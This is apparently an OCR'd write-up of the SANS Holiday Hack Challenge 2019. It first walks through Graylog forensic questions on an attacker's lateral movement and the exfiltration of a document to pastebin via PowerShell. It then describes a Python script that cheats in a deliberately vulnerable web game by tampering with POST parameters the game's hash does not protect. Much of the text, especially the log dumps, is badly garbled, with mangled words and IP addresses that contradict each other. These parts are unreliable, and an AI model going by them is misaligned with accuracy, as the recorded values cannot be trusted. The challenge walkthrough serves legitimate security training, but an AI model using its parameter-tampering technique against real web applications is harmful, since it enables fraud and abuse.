Patient zero was Minty's computer which is: ELFU-RES-WKS1 and with user "minty" on that system. If we've checked/enabled the *UserAccount* and *AccountDomain* fields and do the following search below, we'll see pivot events (which require a successful logon - Event ID 4624) of interest with user **alabaster**.

EventID:4624 AND NOT "*VMWare*" AND NOT "*CommAmqpListener*" AND NOT "*svchost.exe*" AND NOT "*autochk.exe*" AND NOT "*smss.exe*" AND NOT "*taskhostw.exe*" AND NOT "*MSASCui.exe*"

Q -

Q -

Page 34 of 184

ain: - Logon ID: S-1-5-21-2 main: - Logon An acco k Address: 192.168.247.1 y): NTLM V1 Key Length tem which requested the hat occurred 0x4 indicate the a

19 05:47:34 2019

UserAccountSID S-1-0-0 WindowsLogTyp Security **facility** user-level

ink Copy ID Sh AccountDomain Q -AccountName alabaster Q -Authenticati NTLM Q -Destinatio Q • EventID 4624 Q • LogonPro NtLmSsp Q -LogonType Q -SourceHos DEFANELF Q -SourceNetwor 192.168.247. Q -UserAccount Q -Q -Q -Q •

message elfu-res-wks1 MSWinEventLog 1 Security 2911 Tue Nov 19 05:47:33 2019 4624 Microsoft-Windows-Security-Auditing N/A N/A Success Audit elfu-res-wks1 Logon An account was successfully logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Information: Logon Type: 3 Restricted Admin Mode: - Virtua 1 Account: No Elevated Token: Yes Impersonation Level: Impersonation New Logon: Security ID: S-1-5-1-2626793473-26605437-3-2 5664541-1006 Account Name: alabaster Account Domain: ELFU-RES-WKS1 Logon ID: 0x415270 Linked Logon ID: 0x4 Network Account sea: - Network Account Domain: - Logon GUD: 0000000-0000-000000000000 Process Information: Process ID: 0x0 Proces ss Name: - Network Information: Workstation Name: DEFANELF Source Network Address: 192.166.247.175 Source Port: 52128 Detaile Autority Details - Network Information: Norther Account Name: DEFANELF Source Network Address: 192.166.247.175 Source Port: 52128 Detaile Autority Details - Network Information: Norther Autority DETANELF Source Network Address: 192.166.247.175 Source Port: 52128 Detaile Autority Details - Network Information: Norther Autority DETANELF Source Network Address: 192.166.247.175 Source Port: 52128 Detaile Autority Details - Network Information: Norther Autority Details - Network MCMM - Norther Autority - Network MCMM Account Name: alabaster Account Domain: ELTU-RES-WKS1 Logon ID: 0x416270 Linke Logon ID: 0x3 Network Account Name: - Network Account Domain: - Logon GUID: (0000000-0000-0000-000000000) Process Information: Frocess ID: 0x0 Network Account Name: - Network Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM cnly): NTLM V1 Key Length: 128 This event is generated when a logon session is created. It is generated on the computer that was accessed. The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as Winlogon.exe or Services. - The logon type field indicates the kind of logon that occurred. The most t common types are 2 (interactive) and 3 (network). The New Logon fields indicate the account for whom the news logon session can impersonate. The subject logon request or optimated. Norkstation name is not always avail able and may be left blank in some cases. The impersonation levent is specificate on the logon session can impersonate. The authentication formation fields provide detailed information about this specific logon request. - Logon GUID is a unique identifier that can be used to correlate this were with a KDC event. - Transited services indicate which intermediate services have a particular that big operated in this logon request. - Package name indicate which sub-protocol vas used among the NTLM protocols. - Key length indicate the indicates which ways avail at the length of the generated session key. This will be 0 if no session key was requested. 25339 source elfu-res-wks1 Q -

EventID 4624 LogonProcess NtLmSsp LogonType SourceHostName DEFANELF SourceNetworkAddress UserAccount UserAccountSID S-1-0-0 WindowsLogType Security **facility** user-level

4624

Permalink Copy ID Show surrounding messages - Test against stream -

192.168.247.175

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

Q -

AuthenticationPackage NTLM All messages DestinationHostname elfu-res-wks1

level

message elfu-res-wks1 MSWinEventLog

timestamp 2019-11-19 05:47:33.000 +00:00 i

source elfu-res-wksl

timestamp 2019 - 11 - 19T05 : 47 : 34 . 000Z

AccountDomain

AccountName

alabaster

alabaster

elfu-res-wks1

2019-11-19 05:47:33.000 elfu-res-wks1

5e04a030-1b70-11ea-b211-0242ac120005

Received by Syslog TCP on 12 83d46e5e / 61a0de1ff3c0 Stored in index gravlog 0

Se07ad71-1b70-11ea-b211-0242ac120005

limestamp 2019-11-19 05:47:34.000

Received by Syslog TCP on P 83c

Stored in index graylog_0

h

Routed into streams

Q -

Q -

Q -



Se25e3d0-1b70-11ea-b211-0242ac120005

Timestamp 2019-11-19 05:47:36.000
Received by Syslog TCP on IP 83d46e5e / 61a0de1ff3c0
Stored in index graylog_0

	rentidiitik	copy in	anow an including messages +	rescogdinst stream	
CommandLine "cmd.exe"				Q	
sventiD				Q	
YarentProcessCommandLine ∴\Windows\PAExec-4236-DEFANELF.exe -service				٩	
ParentProcessid 5540				Q	
'arentProcessimage :\\Yindows\PAExec-4236-DEFANELF.exe				Q	
Processid AM24				Q	
<pre>?rocessImage :\\Vindows\\$ysNOW64\cmd.exe</pre>				Q	
JserAccount alabaster				Q	
WindowsLogType ticrosoft-Windows-Sysmon/Operational				٩	
acility sser-level				Q	
avel j				Q	
nessage Ifures:vksl:MSMisFeventLog 1 Microsoft.Windows-Sysmon/Operational 2055 Tue Nov 19 05:47:36 2019 Information elfu-res.vksl: Process:Create Irule: Process/Create) Process Create: Buildman: UtrLine: Plass 2728-500.2006.0061805794208 ProcessIt: 4424 Image: ClWindowSysWMB/future KFildVersito: 10.0.14333.0 Irst. Product: Nicrosoft# Mindows# Operating System Company: Nicrosoft Corporation OriginalFileMame: Conf.Ece Command[Line: YLINE: 105-0476579427051AD4EA541472F120C PrentProcessGuid: (MASCB080-F70-5000-0008-001092561100) ParentProcessId: 5540 MarentCommandLine: ClWindows/Make-c2326-0EMURL.exe =service 20513	1 Micr 19-11-19 13: e.160715-160 cmd.exe" Cu egrityLevel: ParentImage:	osoft-Win 47:36.47: 6) Desci FrentDire High Hi C:\Windo	idows-Sysmon SYSTEM ProcessGuid: {BASC6BBB- iption: Windows Command Pri ectory: C:\Windows\system32 ushes: wws\PAExec-4236-DEFANELF.ex	User Q ocessor \ User: e	
iource al fui ras ukst				Q	

timestamp 2019-11-19T05:47:36.000Z

The answer to Question 6 is: alabaster

Question 6:

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Answer: alabaster

Windows Event Id 4624 is generated when a user network logon occurs successfully. We can also filter on the attacker's IP using SourceNetworkAddress.

Question 7:

What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?

The solution for this question will require searching for logon event 4624 with LogonType of 10, which indicates RDP logon, and including alabaster as the *UserAccount* and *AccountName* fields.

5 6c638510-1b70-11ea-b211-0242ac120005	Permalink Copy ID Show surrounding messages Test	t against strea
Imestamp 019-11-19 06:04:28.000	AccountDomain NORTHPOLE	G
teceived by yslog TCP on P 83d46e5e / 61a0de1ff3c0	AccountName alabaster	6
itored in Index yraylog_0	AuthenticationPackage Negotiate	
	DestinationHostname e1/10-res-viss2	(
	EventID 4624	G
	LogonProcess User32	(
	LogonType 18	(
	SourceHostName FITURES.NKS2	(
	SourceNetworkJddress 192, 168, 747, 175	(
	UserAccount ELFU-RES-MS25	
	UserAccountSID 5.1.5.18	
	WindowsLogType Security	
	facility user-level	
	level 6	ŀ
	effor-res-Ms2 MoMinEventing 1 Security 347 Tue Nov 19 06:04:28 2019 4024 Microsoft-Mindows-Security-Auditing N/A N/A Success Audit effor-res-Ms2 Lopon An account was successfully logad on. Sobject: Security 10: 51-518 Account Name (EFF-RES-MS256 Account Damain: NORTPOLE Logon ID): 0x27 Logon Information: Type: 10 Restricted Admin Mode: No Virtual Account To Be Eleverted Toders in Yes Ingersonation level; Impersonation New Logon: Security 10: 51-52.3252(7):2732-26680237.10064604.41 Account Name: Alabater Account Damain: EUD-RES-MS2 Logon ID): 0x384 Linke Logon ID: 0x3 Hereit Recount Tomes: Network Account Tomes: Network Account Tomes: Network Account Tomes: Network Account Tomes: Logon EDD: 0x327.26680237.10064604.41 Account Name: Alabater Account Domain: EUD-RES-MS2 Logon ID: 0x384 Linke Logon ID: 0x3 Hereit Account Tomes: Network Account Tomes: Logon EDD: 0x327.26680237.10064604.41 Account Name: Alabater Account Domain: EUD-RES-MS2 Logon ID: 0x384 Linke Logon ID: 0x3 Hereit Account Tomes: Network Account Tomes: Logon EDD: 0x347.1007.1007.1007.1007.1007.1007.1007.10	Logon 1006 Durce FLM ystem n that network ich a can be was
	source elfu-res-vks2	
	timedang mangan parte at 20 apor	P

Q .

The answer to Question 7 is: 06:04:28

Question 7:

What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?

Answer: 06:04:28

LogonType 10 is used for successful network connections using the RDP client.

Question 8:

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

For this question make sure you have checked/enabled the SourceHostName, DestinationHostname and UserAccount fields. Search on this query to find the event of interest:

■ 679e82f0-1b70-11ea-b211-0242ac120005	Permalink Copy ID Show surrounding messages +	Test against stream •
Timestamp	AccountDomain	٩
Received by System 7CP on P 83d46e5e / 61a0de1ff3c0	AccountName a labister	۹ -
Stored in index graylog_0	AuthenticationPackage NTLN	۹ •
	DestinationHostname et fu-res-wks3	۹ -
	EventiD 4624	Q +
	LogonProcess NtLmSsp	Q -
	LogonType 3	Q -
	SourceHostName ELFU-RES-WS2	Q -
	SourceNetworkAddress 192.165.247.176	Q -
	UserAccount -	Q -
	UserAccountSD S-1-0-0	۹ -
	WindowsLogType Security	Q +
	facility user-level	۹ +
	level 6	Q +
	actions and 200 inferentiage 1 Security 2757 Toe Nov 19 66:07:22 2019 4624 Microsoft Mindow-Security-Additing N/A N/A Success Audit effu-res-with Logan for anticol Logan Information Information Microsoft Microsoft Address III Science Microsoft Microsoft Microsoft Microsoft Address III Science Microsoft M	Q - stricted alabaster ucess itication uession is the Server . The ion ion ied es the
	source elfu-res-viks3	۹ -
	timestamp 2819-11-19766:07:22.0002	۹ -

You see in the event above that the SourceHostName is ELFU-RES-WKS2, the DestinationHostname is elfu-res-wks3 and the LogonType is 3.

The answer to Question 8 is: ELFU-RES-WKS2,elfu-res-wks3,3

Question 8:

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the **SourceHostName,DestinationHostname,LogonType** of this connection?

(submit in that order as csv)

Answer: elfu-res-wks2,elfu-res-wks3,3

The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id **4624** and logon type **3**.
Question 9:

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

In this case you want to have timestamp sorted in descending order so you see the most recent events first as it will be the first item in the search when you use this query:

LogonType:>1 AND D	estinationHostname:elfu-res-wks3	
≤ 6650a630-1b70-11ea-b211-0242ac12000	5 Permalink Copy ID Show surrounding messages + Test ago	ainst stream •
Timestamp 2019-11-19 06:07:51.000	CreationUtcrime 2019-11-19114:07:50.000Z	Q -
Received by Syslog TCP on IP 83d46e5e / 61a0de1ff3c0	EventID 2	Q -
Stored in index graylog_0	Processid 4372	Q -
	ProcessImage C:\Windows\Explorer.EXE	Q -
	TargetFilename C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf	Q -
	WindowsLogType Microsoft-Mindows-Sysmon/Operational	Q -
	facility user-level	Q -
	level 6	Q -
	message elfu-res-wks2 MSMinEventLog 1 Microsoft-Windows-Sysmon/Operational 2312 Tue Nov 19 06:07:50 2019 2 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks2 File creation time changed (rule: FileCreateTime) File creation time changed: RuleHame: UtcTime: 2019-11-19 14:07:50.000 ProcessGuid: (ABSCCG-H401-SED-BOD00-0B12AAB3200) ProcessId: 4372 Image: C:Windows/Explorer.REX TargetFilename: C:Users\albaster\Desktop\super_secret_elfu-research.pdf CreatioNUTCTime: 2019-11-19 14:07:50.000 ProcessId: 4372 Image: C:Windows/Explorer.REX TargetFilename: C:Users\albaster\Desktop\super_secret_elfu-research.pdf	Q -
	source elfu-res-wks2	Q -
	Linestamp 2019-11-19706:07:51.0002	Q -

The answer to Question 9 is: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Question 9:

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

Answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

We can look for sysmon file creation event id of 2 with a source of workstation 2. We can also use regex to filter out overly common file paths using something like

AND NOT TargetFilename:/.+AppData.+/

Question 10:

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

If you search for events after the timestamp of the event from Question 9 you will find the event where exfiltration occurred to pastebin. The absolute time range you can search on to get this event is the following:

201911-19 00.14.25		
earch on this time	range: 2019-11-19 06:14:23 to 2019-11-19 06:15:00	ľ
5f9e04e0-1b70-11ea-b211-0242ac120005	Permalink Copy ID Show surrounding messages + Test	agair
estamp	DestinationHostname	0
eived by	pastebin.com Destinationip	
og TCP on P 83d46e5e / 61a0de1ff3c0 red in index	184-22,3.84 DestinationPort	
riog_0	80 EventD	
	3 Processid	
	1232 Processimage	
	C:\Windows\SySWOW64\WindowsPowerShell\v1.0\powershell.exe Protocol	
	tcp SourceHostname	
	erte-res-miszz. Volatomiszin Sourcelp 100 - 100 - 442 177	
	202 LUDD CHY LYY SourcePort 55624	
	Josef UserAccount al abacter	
	WindowslogType WindowslogType	
	facility Itser-Two Sectors (Sectors Sectors Secto	
	level 6	
	- message elfu-res-wks2 MSMinEvention 1 Microsoft-Mindows-Sysmon/Operational 2441 Tue Nov 19 06:14:25 2019 3 Microsoft-Mindows-Sysmon SYSTEM User	
	Information elfu-res-wks2 Network connection detected (rule: NetworkConnect) Network connection detected: RuleName: UtcTime: 2019-11-19 13:14:25.757 ProcessGuid: [daSc6808-ECF2-5003-0000-001008563300] Process14: 1222 Image: C:VkindowsFyWindowsFowerShellVi.OppowerShell.ee User: elfu-res-wks2\alabaster Proto	col:
	tcp Initiates true SourceEsipve: Taise Sourceip: 192.188.247.17 SourceHostmame: ettu-res-ws2.localdomain SourcePorts SourcePorthame: DestinationIsipve: Tais DestinationFp: 104.22.3.84 DestinationHostname: pastebin.com DestinationPort: 80 DestinationPortName: HTTP 20132	e
	source elfu-res-wks2	
	timetamp 2019-11-19706:14:25.000Z	
nat is the IPv4 address (as found in Io	igs) the secret research document was exfiltrated to?	
ver	D	
.22.3.84	SUBMIT	
en we do that, we see a long a long can pivot off of this information to ncident Resp	g PowerShell command using **Invoke-Webrequest** to a remote URL of **https://pastebin.com/post.php**. look for a sysmon network connection id of **3** with a source of **elfu-res-wks2** and **DestinationHostname** of **paste Donse Report #7830984301576234 Submitted.	bi
	ncident Fully Detected!	
1		
1.1		
ave complet	ed the Graylog	
ave complet	ed the Graylog	

Achievement - Holiday Hack Trail

This challenge is found in the Dorm area and interacting with Minty Candycane will introduce this challenge.



Hi! I'm Minty Candycane! I just LOVE this old game! I found it on a 5 1/4" floppy in the attic. You should give it a go! If you get stuck at all, check out this year's talks. One is about web application penetration testing. Good luck, and don't get dysentery!

You can begin the challenge by clicking on the "Holiday Hack Trail" terminal icon or you access it directly via https://trail.elfu.org

THE HOLIDAY HACK TRAIL

I loved this challenge and had so much fun! Reminded me of many fun hours as a kid playing The Oregon Trail on an Apple][.

I wrote a Python script that can play the Holiday Hack Trail game in an automated way by interacting directly with https://trail.elfu.org. The program logic will attempt to make the best choice (favors life, over destination) for each day of travel. There are several command line parameters, some of which allow you to take advantage of vulnerabilities in the game which I added as **cheat codes** you can activate when running the script. I used *argparse*, so the standard "--help" option will display all options available. The full source is in the Appendix section of this report or at https://github.com/deckerXL/SANSHolidayHackChallenge2019

Excellent help is available in one of the KringleCon 2019 talks called "Web Apps: A Trailhead" given by Chris Elgee in Track 4 in Hermey Hall or can be viewed directly at this link: <u>https://www.youtube.com/watch?v=0T6-DQtzCgM</u>

Taking a look at the game, the initial *gameselect* page gives you an introduction to the game, how much money you get with each difficulty level and your starting day. You must reach KringleCon before December 25th. Then you select your difficultly level by pressing the "EASY", "MEDIUM" or "HARD" button to continue:



The next screen is the *store* screen, where you can buy extra supplies within the money you have allotted. The more reindeer, the faster you can move. You must have at least 2 runners or you can't make forward progress and it is possible to break a runner during the journey. The game can also give extra or make you lose any of these resources either due to conditions or random chance. Enter any amounts to buy for desired extra items and click "BUY" to continue.

	PURCH	ASE SU	PPLIES	
ITEM	STARTIN QTY	6 PRICE	AMT TO BUY	ITEM Cost
REINDEER	2	500	0	0
RUNNERS	2	200	0	0
FOOD	100	5	0	0
MEDS	2	50	0	0
Аммо	10	20	0	0
150		0	EMS MUNEY	500
		BUY		
THE MORE GET TO HANDY AS HAVE TWO DAY AND N AMMO CA	REINDEER THE NORTH S YOUR SLE WORKING MEDS WHENE N BE HAND	YOU HAVE, POLE. SP EIGH CAN'I ONES. YOU EVER SOMEC Y WHEN YO	THE FASTI ARE RUNNER MOVE IF 'LL NEED F INE IS GET U RUN LOW	ER YOU CAN IS CAN BE YOU DON'T OOD EVERY TING WEAK. ON FOOD.

The next screen is the main *trail* screen which you will see continually each day until your journey ends. It provides you: distance remaining, the current date, difficulty, pace, your party status and your inventory. You also get status messages at the bottom letting you know of events of interest. The graphic in the top center may also change based on what you encounter on your journey. Each day you can choose one of four actions: "MEDS", "HUNT", "TRADE" or "GO".

"MEDS" - If you have meds available, it will heal your least healthy party member by some number of health points.
"HUNT" - If you have ammo available, will attempt to hunt for food. This may or may not be fruitful, but usually is.
"TRADE" - This brings up a separate trading window. More on this later.
"GO" - Continue for one day

DISTA REMAIN	NCE IING	DAY	MONTH	DIFFIC	JLTY P	ACE
800	0	1	SEPTEMBE	R HARD	STEA	DY V
					į,	
	\mathbf{A}		<u> </u>			
			in the second second			
				***	~~	
						1.1.1.1
				1		
	MEDS)(HUNT	TRADE	GO	
D.C	PTV S	TATU	S			
NAME	HEALT	1 60	NDITION -	IN	VENTORY	,
JOSHUA	100		EALTHY	EINDEER	RUNNERS	MONEY
JESSICA	100			2	2	1500
TOHN	100	H		АММО	MEDS	FOOD
SAVVY	100			10	2	100
READ	/ TO B	EGI	N? CLICK	MEDS TO	RAISE 1	18 2
H	ALTH	OF 1	AN INJURE		NEMBER.	
HI PRESS I	ËALTH HUNT T	of (o si	PEND A DA	Y HUNTI	NEMBER. NG FOR P	-00D.

TO MOVE ALONG

EADY

AND PRESS GO IF

Below is the trade screen where you can radio-button select what you need from the trade: "REINDEER", "RUNNERS", "AMMO", "MEDS" or "FOOD". If you have zero reindeer (they can wander off and vanish) or less than two runners (they can break), you will need to trade because you can't make any forward progress without at least 1 reindeer and 2 runners.

Once you select what you want to get from the trade (I chose "AMMO", for example), you click the "TRADE" button again on this screen.

DIST REMAI	ANCE INING	DAY	MONTH	DIFFIC	ULTY	Pi	ACE
67	17	4	OCTOBE	R HARI)	STEAL	DV v
WHAT DO YOU WANT TO GET FROM A TRADE? SELECT ONE AND CLICK TRADE AGAIN. •REINDEER •RUNNERS ¢AMMO •MEDS •FOOD MEDS HUNT TRADE GO							
D	DTV STA	TUS					
NAME		'OND	TTION	IN	VENTO	DRY	
TOSHUA	00		TUV	REINDEER	RUNN	ERS	MONEY
TECCTCO	98	TEA		2	2		1500
JESSILA	80	HEA		AMMO	ME	0S	FOOD
JOHN	60	HEA	LIHY	14	2		0
SAVVY	67	HEA	LTHY				

Then you will be presented the same screen again, but now with a status message at the bottom letting you know if you found someone to trade with or not and what they want in return. In this case, you found someone and they will provide you 11 AMMO if you give them 1 MEDS. You should note that they may ask for something that you don't even have, in which case your only option is to click "TRADE" again and start the trade process over (and lose another day) or use one of the other options, like "GO".

If the trade is acceptable to you, click "TRADE" on this screen.

DIST	ANCE INING	DAY	MONTH	H DIFFICULTY		P	ACE	
67	17	5	OCTOBER	HARD)	STEADY		
IF YOU ACCEPT THE TRADE, CLICK TRADE. ANYTHING ELSE WILL CANCEL. MEDS (HUNT) TRADE (GO)								
NAME	HEALTH	COND	ITION					
JOSHUA	98	HEA			RUNK	TER5		
JESSICA	68	HEA		2		2	1500	
JOHN	60	HEA		AMMO	ME	DS	FOOD	
SAVVY	67	HEA		14		2		
YOU SPEND A DAY ASKING AROUND, LOOKING FOR SOMEONE WITH EXTRA AMMO. YOU'VE BEEN OFFERED 11 AMMO(S) IN EXCHANGE								
		FOR	1 MEDS	(S).				

The final trade screen will look just like the one above and will tell you in the status area that the trade was completed and you received what you wanted and lost what you were willing to trade for. Then you can choose one of the four options to continue your journey: "MEDS", "HUNT", "TRADE" or "GO"

The only other screen that's a bit different is at around the 2300 Distance Remaining mark, you reach a river and you have three options to cross the river: "FORD", "FERRY" or "CAULK". Ferry is the safest option, but you need 100 money to do it. Otherwise you take your chances with Ford or Caulk and sometimes you cross just fine with no issues and other times you lose items.

DISTANCE	DAY MONT	H DIFFIC	ULTY PACE
2320	17 NOVEME	ER HAR	GRUELING
🔺 🔺			
			Contraction in the local division of the loc
		and the	
		Prover (an
		5 2 2	and the second second
		1	
	<u>, ,) (сспл</u>		
PARTY S	TATUS	Th	UENTODY
CHDIS 12	HEAL THY	REINDEER	RUNNERS MONEY
JOSHUA 16	HEALTHY	З	2 0
BILLY 20	NO HOLIDAY	AMMO	MEDS FOOD
		0	13 0
SHVVT 13	HEAL DAY		
THE REINDEE	R ARE ABLE	TO PULL	YOUR SLEIGH
FORWAR	D A DISTANO	E OF 91	FODAY.
YOU HAVE NO	FOOD. YOUR		S STARVING.
		THE ZHIGA	
YOU HAVE A	KKIVED HI I		ISK RIVER.
YOU HAVE A	IPT TO FORD	THE VERY	DEEP BODY OF

The journey continues until you reach either the *doom* page or *victory* page. You get to the *doom* page if either: all four of your party members have *died* or you ran out of *time* because you didn't reach KringleCon before December 25th.



You get the victory page if at least 1 party member makes it alive to KringleCon before December 25th. The logic in my program is lifepreserving, so either they all make it alive before December 25th or they stop short somewhere but at least they're all alive!



Something interesting! The victory pages show a secret message in the html comments at the bottom of the page source:

Victory Page Secret Message - EASY difficulty

Play again? <!--I'm sorry, but our princess is in another North Pole.--></div> I'm sorry, but our princess is in another North Pole.

Victory Page Secret Message - MEDIUM difficulty

Play again? <!--Wow! What a great job! ... But I think you can do even BETTER.--></div> Wow! What a great job! ... But I think you can do even BETTER.

Victory Page Secret Message - HARD difficulty

<u>From Kent Tinseltooth:</u> "And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard."

Play again?	
1 - When I'm down, my F12 key consoles me</td <td></td>	
2 - Reminds me of the transition to the paperless naughty/nice list	
3 - Like a present stuck in the chimney! It got sent	
4 - We keep that next to the cookie jar	
5 - My title is toy maker the combination is 12345	
6 - Are we making hologram elf trading cards this year?	
7 - If we are, we should have a few fonts to choose from	
8 - The parents of spoiled kids go on the naughty list	
9 - Some toys have to be forced active	
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!>	
1 - When I'm down, my F12 key consoles me 2 - Reminds me of the transition to the paperless naughty/nice list	
3 - Like a present stuck in the chimney! It got sent	
4 - We keep that next to the cookie jar	
5 - My title is toy maker the combination is 12345	
6 - Are we making hologram elf trading cards this year?	
7 - If we are, we should have a few fonts to choose from	
8 - The parents of spoiled kids go on the naughty list	
9 - Some toys have to be forced active	
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!	
(This is the hint for Objective 11 Kent Tinseltooth told us about. One hint for each of the 10 locks. F12 developer tools and viewing the Console	tab.

the hologram challenge... lock10 forced active, etc...)

Here below are the options available with the program I wrote that automates playing the game. When you play on EASY or MEDIUM, the *hash* parameter isn't calculated making it possible to alter many POST parameters without the server kicking back "You have fallen off the trail." In HARD mode, the *hash* parameter **is calculated** to protect several POST parameters including: *money*, *distance*, *ammo*, *meds*, *reindeer*, *runners* and *food*. However, in HARD mode *health0-3* is not factored into the hash - invulnerability!!

		100		
usage: hht.pv [-h]p]	averid PLAYERID difficu	ty DIFFICULTY	# pyth	ons ./nnt.py
	indeer EXTRAREINDEER	rarunners EYTRA	PURCE FREE	
extrafe	od EXTRAEOODextramede	VTRAMEDS ovtr		
EXTRAMMO	[proxy] [proxy host	POYV HOST	a committed	
	port PROXY PORT1 [dobug	[invu]nerabi	ityl	
[proxy_	peed] [maxammo] [maxm	dsl [maxfood]	(Ity)	
[Cignus	ndeer] [maxammo] [maxm	axmoney] [max1000]	111	
[maxrei	indeerje [maxrumers] [i	axiioney] [iiiaxa	accj	
optional arguments:				
-hhelp	show this help message a	nd exit		
playerid PLAYERID	Set PlayerId to send to	the server		
difficulty DIFFICUL				
	Set difficulty level {easy	sy, medium, hard		
pace PACE	Set pace level {0, 1, 2}			
extrareindeer EXTRA	REINDEER			
	Number of extra reindeer	to buy {0-9}		
extrarunners EXTRAR	UNNERS			
	Number of extra runners	to buy {0-9}		
extrafood EXTRAF00D				
	Amount of extra food to I	ouy {0-1000}		
extrameds EXTRAMEDS				
	Amount of extra meds to I	ouy {0-100}		
extraammo EXTRAAMMO				
	Amount of extra ammo to I	buy {0-100}		
proxy	Use proxy - proxy host/p	ort values are in	n the code	
proxy_nost PROXY_HO	ST			
PROVIDENT PROVV PO	Set proxy nost - set in (conjunction with	proxy	
proxy_port PRUXY_PU	RI Set provy part - set in a	conjunction with	0.5020/	
dobug	Enable debugging output	.onjunction with	proxy	
- invulnerability	LICHEAT CODESILI Actio	ate Invulnerabi	ity	
lightspeed	LUICHEAT CODESILI - Actin	ate Lightspeed	only works	
cignespeed	in easy or medium mode	ace Ergnespeed	only works	
maxammo	LUCHEAT CODESULL - Actin	vate Unlimited Ar	mo - only	
individuality.	works in easy or medium i	node	oney	
maxmeds	LUCHEAT CODESULL - Actin	vate Unlimited Me	eds - only	
maxine a s	works in easy or medium	node	oney	
maxfood	!!!CHEAT CODES!!! - Actin	ate Unlimited Fo	ood - only	
and the observed	works in easy or medium r	node		
maxreindeer	IIICHEAT CODESIII - Acti	vate Unlimited Re	eindeer - onlv	
	works in easy or medium r	node		
maxrunners	!!!CHEAT CODES!!! - Acti	vate Unlimited Ru	unners - only	
	works in easy or medium n	node		
maxmoney	!!!CHEAT CODES!!! - Activ	ate Unlimited Mo	oney - only	
	works in easy or medium r	node		
maxall	!!!CHEAT CODES!!! - Acti	ate Unlimited A	L - only	

Here is a sample run in HARD difficulty without any cheat codes:

extramed	s=30extraammo	=0proxyp	proxy_host=12	7.0.0.1proxy	# py1 _port=8080	thon3 hht.py	playerid=J	ebediahSprin	ngfieldo	difficulty=h	ardpace=2	2extrareind	deer=0extra	arunners=0 -	-extrafood=0
GAME OPT	IONS: Difficulty !!!! CHEAT	:[Hard] - Pace CODES ACTIVE:	e:[Grueling] : [none]	- ExtraReindeer	:[0] - ExtraRur	nners:[0] - E	<pre>xtraFood:[0]</pre>	- Extrameds	s:[30] - Ex	ktaammo:[0]					
STATUS - GO if yo	[GO [Ready to begin u're ready to mo] [Hard] [GRUE ? Click MEDS 1 ve along the 1	ELING] [Dist/ to raise the Trail!]	Left:0000/8000] health of an in	[Date:09/01] jured part memb	[Money:0000] ber. Press HU	[Reindr:02] NT to spend a	[Runrs:02] a day huntir	[Ammo:010] ng for food	[Meds:032] d. Press TRA	[Food:100] DE if you wa	[Heath:100/100 ant to look fo	0/100/100] or someone to	trade with y	you. And press
STATUS -	[GO [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0060/7940] h forward a dis	[Date:09/02] tance of 60 too	[Money:0000] day.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:084]	[Heath:100/100	9/100/100]		
STATUS -	[GO [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0140/7860] h forward a dis	[Date:09/03] tance of 80 too	[Money:0000] day.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:068]	[Heath:100/100	0/100/100]		
STATUS -	[GO [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0230/7770] h forward a dis	[Date:09/04] tance of 90 too	[Money:0000] day.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:052]	[Heath:100/100	0/100/100]		
STATUS -	[GO [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0293/7707] h forward a dis	[Date:09/05] tance of 63 too	[Money:0000] day.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:036]	[Heath:100/100	9/100/100]		
STATUS -	[GO [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0378/7622] h forward a dis	[Date:09/06] tance of 85 too	[Money:0000] lay.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:020]	[Heath:100/100	0/100/100]		
STATUS -	[HUNT [The reindeer a] [Hard] [GRUE re able to pul	ELING] [Dist/ ll your sleig	Left:0467/7533] h forward a dis	[Date:09/07] tance of 89 too	[Money:0000] day.]	[Reindr:02]	[Runrs:02]	[Ammo:010]	[Meds:032]	[Food:004]	[Heath:100/100	9/100/100]		
			~	-	1										
	[Hard] [GRUELING] / 24 points!]	[Dist/Left:75	51/0439] [Date:12/	(09] [Money:0000]	[Reindr:03] [F	Runrs:03] [Ammo	0:000] [Meds:0	002] [Food:0	00] [Heath:09]	/015/038/035]				
	[MEDS] [H [The reindeer are a	Hard] [GRUELING] able to pull you	[Dist/Left:76 Ir sleigh forwa	52/0338] [Date:12/ rd a distance of 1	'10] [Money:0000] 101 today. You ha	[Reindr:03] [f ve no food. You	Runrs:03] [Ammo ur party is sta	0:000] [Meds:0 arving.]	002] [Food:0	00] [Heath:096	5/014/037/030]				
